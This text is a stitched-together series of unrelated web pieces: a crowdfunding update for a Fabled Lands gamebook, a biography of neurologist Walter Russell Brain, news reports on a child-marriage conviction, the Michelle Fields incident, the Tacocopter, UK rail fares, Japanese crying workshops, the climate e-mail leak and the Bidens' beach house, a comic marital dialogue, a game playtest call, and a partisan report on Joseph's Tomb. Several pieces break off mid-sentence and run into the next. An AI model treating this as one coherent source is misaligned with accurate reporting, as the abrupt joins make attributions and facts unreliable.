“anti-national”, while Congress alleged it showed that BJP and RSS resorted to divisive agenda, especially ahead of elections.It's update time again, faithful Fabled Lands backers. The big news: we have a finished draft of the book, and we're into the editing phase. Our editor, Richard, is currently giving the book its first-ever playthrough, and Dave and Jamie are giving us valuable input fine-tuning some points on the theological and economic relationships between The Feathered Lands and the rest of Harkuna. I'm hesitant to give exact numbers on the word / paragraph count of the book just now, as that may change during editing. But it's safe to say that The Serpent King's Domain is about twice as long as any of the first six Fabled Lands books. So thank you again, backers, for your patience in waiting this long for the book to arrive. I hope that in creating a book that gives readers a much longer adventuring experience than the books so far - at, I feel, a comparable level of quality overall - this goes some way towards making the wait worthwhile. Please also read Dave's Fabled Lands blog, where we just have posted a more in-depth look at the work we're currently doing on The Serpent King's Domain. http://fabledlands.blogspot.fr/2017/02/baby-steps-in-weeping-jungle.html More news soon! Paul.Walter Russell Brain, 1st Baron Brain (23 October 1895 – 29 December 1966) was a British neurologist. He was principal author of the standard work of neurology, Brain's Diseases of the Nervous System, and longtime editor of the homonymous neurological medical journal titled Brain. He is also eponymised with "Brain's reflex", a reflex exhibited by humans when assuming the quadrupedian position.[1][2] Career [ edit ] Brain was educated at Mill Hill School and New College, Oxford, where he began to read history, but disliked it. The First World War having begun in 1914, the following year he joined the Friends' Ambulance Unit as an alternative to volunteering for combat, and was sent to York, moving later to the King George Hospital in London, attached to the X-ray department. On the introduction of conscription in 1916 his work enabled him to be exempted as a conscientious objector. After the war he returned to New College, and studied medicine, obtaining his BM BCh in 1922 and a DM in 1925; he specialised in neurology. Apart from his clinical practice, he was a member on a large number of government committees pertaining to physical and mental health, and was involved in the care of Winston Churchill on the latter's deathbed in 1965. He was elected a Fellow of the Royal College of Physicians in 1931 and was President of the College from 1950 to 1956. He was knighted in 1952,[3] made a baronet on 29 June 1954,[4] and on 26 January 1962 was created Baron Brain, of Eynsham in the County of Oxford.[5] In March, 1964 he was elected a fellow of the Royal Society.[6] In 1964 he gave the presidential address (Science and Behaviour) to the British Association meeting in Southampton.[7] In this address he discussed how humanity was approaching the anthropocene and he reiterated Alfred North Whitehead's warning that "A muddled state of mind is prevalent. The increased plasticity of the environment for mankind, resulting from the advances in scientific technology, is being construed in terms of habits of thought which find their justification in the theory of a fixed environment."[8] Family [ edit ] He married Stella Langdon-Down and had a daughter, Janet, and two sons, Christopher (b. 1926) and Michael (b. 1928). Christopher succeeded him as the 2nd Baron Brain and 2nd Baronet Brain. In 1954 Janet married Dr Leonard Arthur, tried in 1981 for the murder of a baby, but acquitted. Religious beliefs [ edit ] He became a Quaker in 1931 and gave the Swarthmore Lecture in 1944, ‘Man, society and religion’, in which he stressed the importance of a social conscience. References [ edit ] Further reading [ edit ]A FORMER Muslim cleric has been found guilty of marrying off an under-aged girl to an adult man in Melbourne. Magistrate Phil Goldberg said on Thursday he found Ibrahim Omerdic solemnised the marriage of the girl and a 34-year-old man. He is believed to be the first person ever to be found guilty of a forced marriage charge, the Herald Sun reports. Omerdic, who was an imam of the Bosnian Islamic Society and Noble Park Mosque, had fought the charge, claiming the “marriage” was not subsequently formalised under Australian law. “I’m satisfied the prosecution has proved all elements of the charge,” Mr Goldberg said on Thursday. Video of the ceremony was screened previously in the Melbourne Magistrates’ Court, and Omerdic could be heard telling the girl’s mother and her betrothed that she was “very young”. “As a wife you have a duty to obey your husband,” he told the girl in the video. Omerdic was sacked after his arrest in November and his marriage licence certificate was revoked. He told police he thought the girl was 17 and he did not consider the pair officially married as he had not seen their ID and proof of age. Omerdic’s bail was extended and the matter returns toHadas Gold interviews Michelle Fields and her boyfriend Jamie Weinstein, the Daily Caller editor who began the public conversation about an incident with Corey Lewandowski by tweeting “Trump always surrounds himself [with] thugs.” From Politico: Michelle Fields says she wouldn’t change how she has handled the events of the past month or so. She only wishes she could go back in time and decline the request to cover a Donald Trump news conference in place of a colleague who was sick. Then, she told POLITICO over drinks at a Washington, D.C. hotel bar, she would never have come into contact with Trump campaign manager Corey Lewandowski, and she would still have a job she loved as a reporter for the conservative website Breitbart. Instead, she said, she has had to leave that job, move from her apartment because of threats and handle the publicity that comes with challenging a presidential candidate’s campaign machine known for never saying sorry or backing down. At that March 8 news conference at the Trump National Golf Club in Jupiter, Florida, Fields tried to get Trump’s attention to ask a question about affirmative action as he walked through the crowded ballroom toward the exit, surrounded by Secret Service. But as she asked her question, she was almost immediately moved out of the way by Lewandowski — with enough force to leave bruises on her arm, which she later documented with photos. Her boyfriend, Daily Caller senior editor Jamie Weinstein, who joined Fields for her interview with POLITICO and has been public about his dislike of Trump, quickly tweeted a message, calling Lewandowski a “thug” and saying that he almost brought Fields down to the ground after she asked a question. “I thought the best way to force an apology or some contrition was by making it public,” Weinstein told POLITICO. Fields jumped in here, saying she doesn’t regret that Weinstein tweeted about the incident because ultimately, through the entire drama, it helped “reveal the character of [Lewandowski] and the Trump campaign.” And that tweet is where the drama and the media frenzy began. Fields placed most of the blame on the escalation of the events on the Trump campaign, for changing their story and questioning her character. She insisted that all she ever wanted was an apology, that she went to the police just to prove she was not lying. She said the media narrative got wrapped up in litigating the details of the case — how hard she was actually pulled, why such a simple act was considered battery, whether she touched Trump first — versus how the campaign was handling what could otherwise have been a quickly resolved situation. And she questioned the tactics and motives of the Florida state attorneys who brought charges against Lewandowski but ultimately declined to pursue a case. Read the rest of the story here.Not only is the Tacocopter, a drone that delivers the tasty Mexican food, real, it’s being funded by Taco Bell, sources tell Fast Company. While several reports understandably called the savory whirlybird biz a fake and a hoax, a source tells us that Dustin Boyer, one of the Tacocopter’s creators, planned to tell the real story at Friday evening’s Drones and Aerial Robotics Conference at NYU in New York City. On a phone call Friday, Boyer confirmed that the Tacocopter is real and at least partially funded by Taco Bell. He declined to elaborate further. UPDATE: On Friday, Tacocopter canceled its plans to speak at the conference. No official explanation was given. [Ed. note: The headline, sub-headline and time stamp on this story were changed to reflect this update.] Before the scheduled event, another creator, Star Simpson, denied that Taco Bell is involved but said there were “working prototypes” of the Tacocopter. She conceded she was not sure about the content of the planned demonstration at the drone conference on Friday night, but said she was still involved in the project. It is unclear when Taco Bell got involved and to what extent–or whether this is part of a one-off marketing stunt or something more like a real business model. A spokesperson for Taco Bell has not responded to an email seeking comment on the Tacobot and did not yet respond to a phone message seeking comment. If the project moves ahead, it’ll have to figure out how to navigate Federal Aviation Authority regulations that prohibit commercial drone usage. But H.R. 658, signed into law in February of last year, appropriated money to the FAA to “streamline programs, create efficiencies, reduce waste, and improve aviation safety and capacity, to provide stable funding for the national aviation system, and for other purposes.” It’s part of a plan for the FAA to open up airspace to civilian drone use by September 2015. Chris Anderson, the former Wired Magazine editor and current drone evangelical, recently called the idea of food delivery by drones “incredibly stupid.” His own drone company, 3D Robotics, is currently promoting for drones for use in agriculture.Image caption Some rail fares have been allowed to rise at 5% above inflation The rail industry's power to increase fares in England is to be curbed as part of a government drive to overhaul the rail fare system. Until now, some regulated fares could potentially have gone up by 9.1% next January. They will now be capped at 6.1%. But campaigners say it is not enough, and point out that commuters will still have to pay an above- inflation increase next year. Regulated fares are those which the government controls, and include season tickets, "anytime" single tickets around major cities, and off-peak inter-city return tickets. They will go up in 2014 by an average of 4.1%, a number calculated using an average of inflation - as measured by the retail prices index (RPI) for July - plus 1%. Analysis The reality is, this change won't benefit that many people, not compared to the numbers that commute on our trains every day. The Department for Transport hasn't been able to put a figure on it, but I have been told by someone inside one of the train companies that it won't help the vast majority of people who buy season tickets next year. Don't get me wrong. For those that do benefit there's a significant saving, potentially £30-40 a month. I could use that - frankly, couldn't we all? But it's not as if fares will go down. Commuters' fares will still go up next January by more than inflation - and that will be for the eleventh year in a row. Train companies can add up to 5% on top of the average rise, although fares that go up by more than the average must be balanced by others that rise by less or fall. The government plans to limit that extra increase to 2% in the future. But the provision for the average regulated ticket price to go up by 1% more than inflation remains. 'Taking action' The move is part of the government's Fares and Ticketing review being published by the Transport Secretary, Patrick McLoughlin. Mr McLoughlin told the BBC he thought rail users would get "quite a lot of benefit" from the cap. He said: "Commuters will benefit from knowing there is a strict limit on the amount rail companies can put up the cost. People had been seeing 10% rises." Those commuters who wanted to see more capacity on trains welcomed the government's investment into stations such as London Bridge, he said. Mr McLoughlin added: "If we didn't take action, people would complain that we are not taking action. We are taking action, we are investing in the railways, we are trying to keep the price down as much as we can." He said he was "always looking" at how to reduce the pressure on the passenger. Mix and match The government will also detail a pilot scheme that could see all long-distance rail tickets sold on a single-leg basis, not as returns. It says this could allow passengers to more easily "mix and match" different ticket types when planning a return journey. Other plans to be revealed by the Transport Secretary include: 'touch in, touch out' season tickets that could benefit part-time workers a code of conduct for train companies designed to make it easier for passengers to choose the best ticket for their journey strengthening of rules on how train companies alter opening times at station ticket offices. Mary Creagh, the shadow transport secretary, said the new cap on fares would be "cold comfort for commuters". "It has taken 18 months, delivers fare increases of up to 6% and is too little too late," she said. "This announcement doesn't go as far as Labour's plans which would prevent train companies from increasing fares beyond one per cent above inflation."Japanese companies hire people to make staff cry Employees watch sad films while a "handsome weeping boy" wipes away their tears It is supposed to help people bond There are about 10 of us sitting in a conference room in an office block in Tokyo and a man has just put on a selection of film clips. As the music blares from tinny-sounding speakers, a heart-rending story about a deaf man and his daughter begins. The daughter is struck down with a terrible illness and is rushed to hospital. The man, unable to communicate that he is her father, is not allowed past the reception desk. The film ends with him crying inconsolably as she dies alone. As the second film - about a fatally ill dog - starts, I hear a muffled sob from the other side of the room. Minutes later, there are some loud sniffing noises to my right. Within 15 minutes, half of the room is staring at the screen, tears streaming down their faces. Find out more Hear Emily Webb's report on Japan's "handsome weeping boys" for Outlook on BBC World Service on BBC iPlayer Radio The man showing the films begins to walk around and, with a large cotton handkerchief, softly wipes the tears from people's faces. He diligently refolds the handkerchief for each person to offer them a dry patch. "When I started running these workshops, there were some quite awkward moments," the man with the handkerchief, Ryusei, tells me. He has model good looks and is taking his tear-wiping role very seriously. "I wasn't practised enough and so couldn't cry easily and this would mean the audience
blue-collar white guys who love Trump and might hand him the election. But when you do, remember this: Democrats drink beer too, even though the MSM has you thinking they’re all sipping chablis as they munch their arugula.Conversation between me and my husband (who doesn’t understand creative work ethics): Victor: Why dont you get off the couch and get some work done? You’ve done virtually nothing today. me: I’ve done LOTS. Victor: You’ve watched TV. me: I’m watching the BBC. So it’s classy. Plus I’m doing research for English words. Because England is where the words come from. Victor: What words? me: ALL THE WORDS. It’s practically where English was invented. Victor: It is where English was invented. me: THEN WHAT ARE WE YELLING ABOUT? Victor: You’ve wasted your entire morning watching Doctor Who. me: I AM LEARNING ABOUT THE SPACE-TIME CONTINUUM. It’s like that week that I tried to read A Brief History of Time. Except better, because this I can actually finish. Victor: There are like 50 years worth of Doctor Who episodes. me: I stand uncorrected. Also? I’ve been keeping the cat alive. Victor: Um…what? me: For the last 4 hours I’ve been single-handedly keeping the cat alive. Victor: And how’s that then? me: Through pills. It’s a 12 hour slow-release capsule. So technically the cat and I have been working on his dodgy thyroid for 4 straight hours. Victor: You gave the cat his pill four hours ago and you’ve watched Doctor Who. THIS DOESN’T COUNT AS PRODUCTIVE. Also, it’s not “single-handedly” if a pill is doing all of the work. me: Don’t be ridiculous. Pills don’t have hands. All it has to do is dissolve. Plus, I learned the word “dodgy” this morning. Bloody good word there, mate. Victor: You are impossible. me: No, I am unpredictable. Like right now I’m going to switch off the tv and meditate. It’s good for my inner…something. I don’t know the word. I probably will after I finish all those Doctor Whos though. Victor: That’s not meditating. That’s napping. me: It’s horizontal meditation. It’s a new thing. You should try it. The cat and I love it. Victor: This is the reason you’re up all night panicking about deadlines…because you don’t work in the day like a normal person. me: I just finished watching a show about time-management. I think I know what I’m doing, sir. Victor: You just finished watching a show about time-travel. me: That’s about as managed as time can get, I’m pretty sure. I’M HAVING A VERY PRODUCTIVE DAY. Victor: You watched a tv show about farting aliens. me: SPOILERS! Victor: What do you mean “spoilers”? YOU LITERALLY JUST WATCHED IT. me: I watched some of it. Then my body demanded horizontal meditation. IT’S LIKE YOU’RE NOT EVEN LISTENING TO ME. Victor: AAARGH! You are so incredibly… me: Dodgy? Victor: NO. NOT DODGY AT ALL. THAT’S NOT EVEN HOW THAT WORD WORKS. me: How about dicky? Like if someone has a bad heart in England they say he has a “dicky ticker”. Which is sort of fun to say. Victor: sigh me: Say it. Say “Dicky ticker.” Victor: I’M NOT SAYING IT. Me: Alright. No need to get dicky. Victor: YOU’RE NOT EVEN USING THAT WORD RIGHT. me: I’m pretty sure I am. “Dicky” means “unsound” and “unsound” means “not based on sound evidence or reasoning and therefore unacceptable.” Looks like pretty clear proof that you’re being all kinds of dicky. Victor: Just stop talking. And then I did. Mostly because I was worried all this arguing was putting an undo strain on the cat’s thyroid. Also, I don’t know what a thyroid does. Then I came in here and started typing and Victor seemed relieved that I was finally getting to work, but really I was just writing this all down because later I’d like to remember whatever it is that I’m demanding an apology for. I still haven’t entirely figured that one out.The White House on Monday made exceptionally clear that it wants nothing to do with the furor over documents that global warming skeptics say prove the phenomenon is not a threat. Despite the incident, which rocked international headlines last week, climate science is sound, Press Secretary Robert Gibbs stressed this afternoon, and the White House nonetheless believes "climate change is happening." ADVERTISEMENT "I don't think that's anything that is, quite frankly, among most people, in dispute anymore," he said during Monday's press briefing.Climate change skeptics have asserted over the past week that the publication of more than 1,000 private e-mails and documents once housed in the University of East Anglia's computer system refutes most modern global warming evidence.The documents, unearthed by a blogger who hacked into Climate Research Unit's (CRU) private system, have since touched off an international debate over the veracity of those scientists' works.But the dispute is proving especially troublesome for the Obama administration as it prepares to head to Copenhagen next week for a climate change summit -- a forum the president will attend.Not only has the White House faced criticism from the left for offering too few concessions ahead of the meet, it is now fielding dissatisfaction from the right for participating in a summit sponsored in part by the U.N. Intergovernmental Panel on Climate Change (IPCC) -- one of the research organs touched by the CRU spat. "I think there's no real scientific basis for the dispute of this," responded Gibbs to questions about those scientists' credibility. Nevertheless, congressional Republicans this week hope to ramp up their criticism of both global warming policy and the science that informs it. Most vocal seems to be Sen. James Inhofe (R-Okla.), the ranking member of the Environment and Public Works Committee. Inhofe demanded on Friday a hearing into the IPCC's research to determine whether it "cooked the science to make this thing look as if the science was settled, when all the time of course we knew it was not." "[T]his thing is serious, you think about the literally millions of dollars that have been thrown away on some of this stuff that they came out with," he told reporters, noting it was "interesting" the e-mails surfaced before the Copenhagen summit.Into the Hurt Locker Chronicles of Darkness, Open Development, Projects Hey everyone! David Hill here. I’m getting drafts in for World of Darkness: Hurt Locker. They’re looking good. I want to share a few things with you. This is basically open and up for play testing. I would love to see notes. But I need to lay some ground rules for that occurring: First off, notes need to be in one place. I’ve set up a forum thread for that. I’ll pay attention to that thread. Don’t bother commenting on grammar, spelling, and punctuation. These are super raw drafts. Please don’t reiterate points. I’m not looking for consensus or “votes”. If someone said, “this issue exists”, don’t second it. I don’t want to bog down the conversation. If you have a new point or thought, cool. But don’t dogpile the conversation, please. Some points don’t need context. “This has seven dots, Merits don’t go to seven dots” doesn’t need context. But, “This is unbalanced” is not really a point that helps anyone. That’s subjective. Now, if you played with it, and it created a specific experience at your table, I want to know. Speaking in experiences is good. If you played with something, I want to hear the experiences it created at your table. Please note the positives. This is partly because I want my team exposed to positive notes as well as negative, but also because I want to see what works for you and creates positive experiences. I’m in the business of creating positive experiences. Don’t be insulting. Don’t insinuate motives from my team. Just address the material; don’t try to bring in assumptions and political issues. If you make a “this doesn’t work” style note, couple it with what you think would work. That’ll help us frame your commentary. Understand that there’s some overlap here. A few people did different versions of the same Style, for example. This was by design. I’m not going to “take one but not the other”. But I might strip apart duplicates for alternative maneuvers or similar. I wanted more raw ideas to work with. I will be reorganising and renaming these. Many are a little more specific than I intend. I want to make them more generally useful. If you have thoughts, awesome. At a certain point, I’m going to call an end to notes. At that point, I have to send over my notes to my team, and I can’t go back and integrate more ideas. So here’s the first bout of drafts to play with: Merits (This includes some combatty stuff, but no Styles, also a handful of Social, Mental, and other Merits). Fighting Merits (This is Styles, and some additional combat maneuver stuff). I’ll give these a few days, then post something else. But this is a pretty big chunk of word count. So there’s a lot to go over.(The Washington Post) The new house is on the edge of Cape Henlopen State Park, just north of the boardwalk: three stories, six bedrooms, three fireplaces and an expansive view of the Atlantic Ocean. The new owners are Joe and Jill Biden, rich for the first time in their lives, thanks to a three-book publishing deal — two by him, one by her — that allowed them to purchase the $2 million vacation home in this beachiest of beach towns. Red-white-and-blue bunting hangs from the second-floor balcony. There’s a small wooden sign, “A Promise Kept,” over the entrance, and two others on either side: “Forever Jill” on one, “Beau’s Gift” on the other. One is a tribute to Joe’s wife of four decades, the other to the elder Biden son, who died of brain cancer two years ago at age 46. “Throughout our careers, Jill and I have dreamed of being able to buy a place at the beach at home where we can bring the whole family,” Joe said when the sale made headlines earlier this summer. “We feel very lucky that we’re now able to make that happen and are looking forward to spending time with our family.” But if you think that sounds like a man ready for that golden political afterlife where time is finally your own and nothing is on the line, you’re wrong. Since Joe left public life in January, the Bidens have never been more public. The past six months have seen the formation of the Biden Foundation, a way for Joe and Jill to support their pet causes, and the Biden Cancer Initiative to honor Beau. The University of Pennsylvania inaugurated the Penn Biden Center for Diplomacy and Global Engagement to study international issues, and the University of Delaware the Biden Institute for domestic initiatives. Last — but not least — there’s a new political action committee, American Possibilities, a vehicle for raising money for Democratic candidates. And maybe for one last try at the White House in 2020. Delaware’s favorite son and America’s favorite uncle decided not to run in 2016, a choice he made while he was still in mourning, and Donald Trump was just a political sideshow. “Do I regret not being president?” Joe said this spring. “Yes.” The story behind that decision — Beau’s illness, his death in May 2015, and the announcement that October that Joe would not seek the Democratic nomination — is the subject of “Promise Me, Dad: A Year of Hope, Hardship and Purpose.” The memoir comes out Nov. 14, and every stop on the book tour will undoubtedly include a variation of “What if?” With Washington in chaos and the Democrats without a standard-bearer, Joe Biden is arguably the most popular former vice president in history. His wife got a standing ovation when she appeared as a presenter at this year’s Tony Awards. Earlier this month, there was an excited buzz when the couple walked into Manhattan’s Music Box Theatre to see “Dear Evan Hansen.” But there was also the recent bitter and very public divorce of their younger son, Hunter, and the scandalous news of his affair with Beau’s widow, Hallie, a stain on the perfect family portrait. Conventional political wisdom says that Joe, now 74, is too old to run for president again. But American voters, it seems, don’t really care about conventional wisdom anymore. So the real question is: What next? The boardwalk at Rehoboth Beach, where the Bidens have come for years and recently purchased a $2 million vacation home. (Judy G. Rolfe/For The Washington Post) The Biden saga reads like one of those big beach novels that pepper the sand every summer. Middle-class Joe makes good. There’s ambition, success, hope, tragedy — but always family first. Although the loquacious politician loves to talk about his parents and his wife and kids in speeches and memoirs, he declined to be interviewed for this story. The Bidens have chosen this 144-year-old former Methodist camp site, a quintessential beach town that combines the upscale and the cheesy, for their family retreat. Joe, with at least one family member at his side, has been coming here for years and is a regular at the local bookstore and ice cream shop. “He’s still a hometown boy,” says council member Paul Kuhns, who is running for mayor of the town of 1,500 full-time residents (30,000 in the summer). “That’s what a lot of people like about him. When he walks around the neighborhood, it’s not, ‘There’s the vice president.’ It’s, ‘There’s Joe.’ ” When the Bidens celebrated his birthday in Rehoboth last November, they dropped by the Pond, an unpretentious sports bar with nine flat-screen TVs and $2 Bud Lights at happy hour. “Word spread like wildfire,” says Pond owner Pete Borsari. “Everyone gave him a standing ovation. He is a beloved figure here. I would say the vast majority of people love Joe.” Biden surrounded by birthday well-wishers at The Pond restaurant in Rehoboth last November. (Courtesy of The Pond restaurant) He grew up in Scranton, Pa., but made his name in Delaware, which he served as a U.S. senator for 36 years, riding the train into Washington every day. In 2009, he became President Barack Obama’s vice president and trusted confidant. The two are so close that in January, Obama surprised him with the Presidential Medal of Freedom, the country’s highest civilian honor. Citing his “charm, candor, unabashed optimism and deep and abiding patriotism,” Obama called his friend “one of the most consequential vice presidents in American history, an accolade that nonetheless rests firmly behind his legacy as husband, father, and grandfather.” But that storied career almost didn’t happen. Weeks after the 29-year-old was first elected to the Senate in 1972, his wife and infant daughter were killed in a horrific car accident while shopping for a Christmas tree. Sons Beau and Hunter, then 3 and 2, were severely injured. Biden intended to resign his Senate seat, but congressional Democrats persuaded him to stay, and he was sworn into office at the boys’ hospital. The tragedy created an unusually close bond between Joe and his sons, a bond unaffected by his 1977 marriage to Jill and the birth of their daughter, Ashley. Beau was his father’s political heir: He was attorney general of Delaware and served a year in Iraq as a member of the U.S. Army National Guard. He was widely expected to run for governor or the U.S. Senate, but it was not to be. In 2015, he died of brain cancer, a disease he had been secretly battling for more than two years. (AP) The death devastated the family and kept Joe out of the presidential race. Grief, he said in announcing that he wouldn’t challenge Hillary Clinton, “doesn’t respect or much care about things like filing deadlines or debates and primaries and caucuses.” [Joe Biden’s heartfelt speech on grief] Whether the vice president could have bested the Clinton juggernaut is still up for debate. His family — especially Hunter — wanted him to run, but many of his closest advisers cautioned that he couldn’t raise enough money in time. His fans in Rehoboth are convinced that was the wrong call. “Had he run, he would be president right now,” says Borsari. And the entire Biden clan would be in the spotlight — which can be both a blessing and a curse. The triumphs and the tragedies are real, but as in a novel, everything is more dramatic and a bit romanticized in the telling. Joe loves to tell audiences that Jill had no interest in politics when they met, but he never says that she worked in his Senate office for five months before they married. He ended his 1987 presidential campaign amid charges of having plagiarized a speech by British politician Neil Kinnock, something he now claims he never did. There’s nothing about his controversial role overseeing the Clarence Thomas confirmation hearings in his 2007 memoir, “Promises to Keep: On Life and Politics.” And so it is with the Biden sons. If Beau could do no wrong (“the finest man I’ve ever known in my life,” says Joe), his younger brother has struggled — but with his father always in his corner. “We have an expression in our family: ‘If you have to ask for help, it’s too late,’ ” Joe told Popular Mechanics last year. “We’re there for each other.” “We don’t have a complicated relationship,” Hunter said in the interview. “I know that no matter what, he loves me, and no matter what, I love him more than anything in the world.” Hunter, 47, is the second son, with all the baggage that comes with having a perfect older brother. He has bounced from law to banking to lobbying. In 2014, he was kicked out of the U.S. Naval Reserves for cocaine use and spent some time in rehab. This spring, he became tabloid fodder when he divorced his wife of 23 years and went public with a love affair with his sister-in-law. Friends said that the two fell in love as they tended to the dying Beau. “Hallie and I are incredibly lucky to have found the love and support we have for each other in such a difficult time, and that’s been obvious to the people who love us most,” Hunter said in a statement. “We’ve been so lucky to have family and friends who have supported us every step of the way.” The relationship has the blessing of Joe and Jill, who also released a statement: “We are all lucky that Hunter and Hallie found each other as they were putting their lives together after such sadness. They have mine and Jill’s full and complete support and we are happy for them.” There was no mention of Hunter’s estranged wife, Kathleen, a fact that didn’t play well with her friends, who privately complained that she had been neatly erased from the happy family portrait. Hunter and Kathleen Biden in 2012. They divorced in early 2017, amid news of Hunter’s affair with his sister-in-law, Hallie Biden. (Ron Sachs/Picture-alliance/DPA/AP Images) Beau Biden and his wife, Hallie, celebrate his reelection as Delaware attorney general on election night 2010. (Susan Walsh/AP) The news of the romance leaked out in the midst of a nasty divorce between Hunter and Kathleen, who have three daughters. The two officially separated in October 2015 — the same month Joe decided not to run for president, although there’s no indication that Hunter’s marital problems factored into that decision. In public court filings, Kathleen alleged that her husband had blown a fortune on drugs, women, strip clubs and “other personal indulgences.” She requested that his access to their joint assets be limited because the couple had a double mortgage and owed more than $300,000 in back taxes. She also requested sole custody of their teenage daughter. (The other two girls are adults.) Hunter struck back, suggesting that it was his wife who had been unfaithful. It was dirty laundry flying on a flagpole, a tactic they quickly came to regret. But a District judge rejected their bid to make the filings private retroactively, ruling that embarrassment was not sufficient reason to seal the records. The divorce was finalized in April; the family’s Washington home was listed for $1.7 million soon afterward. People fall in love every day, but falling in love with a sister-in-law is rare enough to raise eyebrows. Hunter’s childhood friend Lea Carpenter told People magazine that anyone critical of the relationship “doesn’t understand the Biden family. Anyone moved to judgment now has no knowledge of the grace and strength with which Hunter and Hallie have navigated the last four years.” Hunter, who declined to be interviewed, is helping raise his brother’s young children: his 12-year-old niece, Natalie, and 11-year-old nephew, also named Hunter. There are reports of a strained relationship between Hunter’s daughters and their aunt. So it’s unlikely that the entire Biden clan is, in fact, enjoying the new beach house together. Hunter and Hallie have not been spotted in Rehoboth this summer. That doesn’t mean people aren’t talking about them — although not to the media. “When I saw that, I was like ‘Wow,’ ” says Kuhns. “What I was really surprised about is that the story kind of came and went. If they were a controversial family, it would be a big deal, but they’re so well-liked. Things happen. I think that’s how a lot of people in Delaware look at it.” “That’s a sensitive subject,” says Rehoboth councilwoman Kathy McGuiness. “Personal life is personal life. In my book, it’s off limits.” In the protective embrace of Delaware, that may be true. In the wider world of politics, maybe not so much. President Obama presented Biden with the Presidential Medal of Freedom in January. (Susan Walsh/AP) Once you dream of becoming president, it’s hard to let go. Joe has chased that elusive prize for more than three decades, and missed his best chance in 2016 for the worst possible reasons. He has made no secret of the fact that he thought Clinton ran a terrible campaign and that he believes he could have beaten Donald Trump. Is he too old for 2020? “Joe Biden has always been a man with boundless energy, and he’ll never quit,” says Bruce Reed, his former chief of staff. “He would be doing all he’s doing no matter what his plans are. He’s not the retiring kind.” For now, it’s all talk, the endless stream of speculation and desperation that drives cable news 24-7. “I have no intention of running for president, but I’m a great respecter of fate,” Joe told NPR. “I don’t have any plans to do it, but I’m not promising I wouldn’t do it.” If Joe chooses the role of elder statesman, his family’s private life will probably be — for the most part — old news. If, on the other hand, Team Biden takes one last swing at the presidency, his entire family will be scrutinized, judged and otherwise pushed into the spotlight — including Hunter and Hallie. The new conventional wisdom, one the public does seem to accept: You don’t elect just a president. You elect his family, too.Building at Joseph’s Tomb site after Palestinian Authority took control in 2000. JERUSALEM – Palestinians yesterday tried to burn down Joseph’s Tomb – Judaism’s third holiest site – according to Palestinian security officials speaking to WND. It marks the second time the Palestinians attempted to burn down the tomb, located near Nablus, the biblical city of Shechem. Joseph’s Tomb is the believed burial place of the biblical patriarch Joseph, the son of Jacob who was sold by his brothers into slavery and later became viceroy of Egypt. Palestinian security officials in Nablus said yesterday they were called to the tomb to find 16 burning tires inside the sacred structure. A Palestinian police official who inspected the site told WND today there was some fire damage to the tomb. He said the Palestinian Authority, fearing embarrassment, immediately formed a joint committee from the PA’s Force 17, Preventative Security Services and Palestinian intelligence, to find out who was behind the fire. He said patrols were stepped up around the site. A spokesman for the Israel Defense Forces said the IDF was not aware of the fire or any unusual activity near the tomb but that it would immediately inquire with the PA. The move comes after Prime Minister Ehud Olmert announced last week he would ask Israel’s Defense Ministry to work with the PA to reconstruct and restore the tomb, parts of which were destroyed by Palestinians, including known PA security officers, in 2000. Under the 1993 Oslo Accords, which granted nearby strategic territory to the Palestinians, Joseph’s Tomb was supposed to be accessible to Jews and Christians. But following repeated attacks against Jewish worshippers at the holy site by gunmen associated with then-Palestinian Liberation Organization leader Yasser Arafat’s militias, then-Prime Minister Ehud Barak in October 2000 ordered an Israeli unilateral retreat from the area. Within less than an hour of the Israeli retreat, Palestinian rioters overtook Joseph’s Tomb and reportedly began to ransack the site. Palestinian mobs reportedly tore apart books, destroying prayer stands and grinding out stone carvings in the Tomb’s interior. Palestinians hoisted a Muslim flag over the tomb. Amin Maqbul, an official from Arafat’s office, visited the tomb to deliver a speech declaring, “Today was the first step to liberate (Jerusalem).” One BBC reporter described the scene: “The site was reduced to smoldering rubble – festooned with Palestinian and Islamic flags – cheering Arab crowd.” Palestinians also constructed a mosque on the rubble of the tomb’s adjacent yeshiva compound. Workers painted the dome of the compound green, the Islamic color. Third holiest site turned into mosque The Torah describes how Jacob purchased a land plot in Shechem, which was given as an inheritance to his sons and was used to re-inter Joseph, whose bones were taken out of Egypt during the Jewish exodus. Joseph’s sons, Ephraim and Manasseh, are also said to be buried at the site. As detailed in the Torah, shortly before his death, Joseph asked the Israelites to vow they would resettle his bones in the land of Canaan, biblical Israel. That oath was fulfilled when, according to the Torah, Joseph’s remains were taken by the Jews from Egypt and reburied at the plot of land Jacob had earlier purchased in Shechem, believed to be the site of the tomb. Modern archeologists confirm Nablus is the biblical city of Shechem Yehuda Leibman, who until the Israeli retreat from Joseph’s Tomb in 2000 was director of a yeshiva constructed there, explained, “The sages tell us that there are three places which the world cannot claim were stolen by the Jewish people: the Temple Mount, the Cave of the Patriarchs and Joseph’s Tomb.” There is evidence suggesting for more than 1,000 years Jews of various origins worshipped at Joseph’s Tomb. The Samaritans, a local tribe that follow a religion based on the Torah, say they trace their lineage back to Joseph himself and that they worshipped at the tomb site for more than 1,700 years. Israel first gained control of Nablus and the neighboring site of Joseph’s Tomb in the 1967 Six-Day War. The Oslo Accords signed by Arafat and Prime Minister Yitzhak Rabin called for the area surrounding the tomb site to be placed under Palestinian jurisdiction but allowed for continued Jewish visits to the site and the construction of an Israeli military outpost at the tomb to ensure secure Jewish access. Following the transfer of control of Nablus and the general area encompassing the tomb to the Palestinians in the early 1990s, there were a series of outbreaks of violence in which Arab rioters and gunmen from Arafat’s Fatah militias shot at Jewish worshipers and the tomb’s military outpost. Six Israeli soldiers were killed, and many others, including yeshiva students, were wounded in September 1996 when Palestinian rioters and Fatah gunmen attempted to over take the tomb. Eventually, Israeli soldiers regained control of the site. Gravestone at traditional burial site for biblical patriarch Joseph after it was ransacked by Palestinian mobs. The Palestinians continued to attack Joseph’s Tomb with regular shootings and the lobbing of firebombs and Molotov cocktails. Security for Jews at the site increasingly became more difficult to maintain. Rumors circulated in 2000 that Barak would evacuate the Israeli military outpost and give the tomb to Arafat as a “peacemaking gesture.” In early 2000, the Israeli army began denying Jewish visits to the tomb on certain days due to prospects of Arab violence. Following U.S.-mediated peace talks at Camp David in September 2000, Arafat returned to the West Bank and initiated his intifada. During one bloody week in October 2000, Fatah gunmen attacked the tomb repeatedly, killing two and injuring dozens, prompting Barak to order a complete evacuation of Judaism’s third holiest site Oct. 6. In a WND exclusive interview, Tariq Tarawi, a Fatah lawmaker who in 2000 served as chief of the Al Aqsa Martyrs Brigades terror group in the vicinity of the tomb, said the Palestinians would “never” allow Israel to rebuild a yeshiva or synagogue at Joseph’s Tomb. The Brigades carried out most of the attacks against the tomb site. 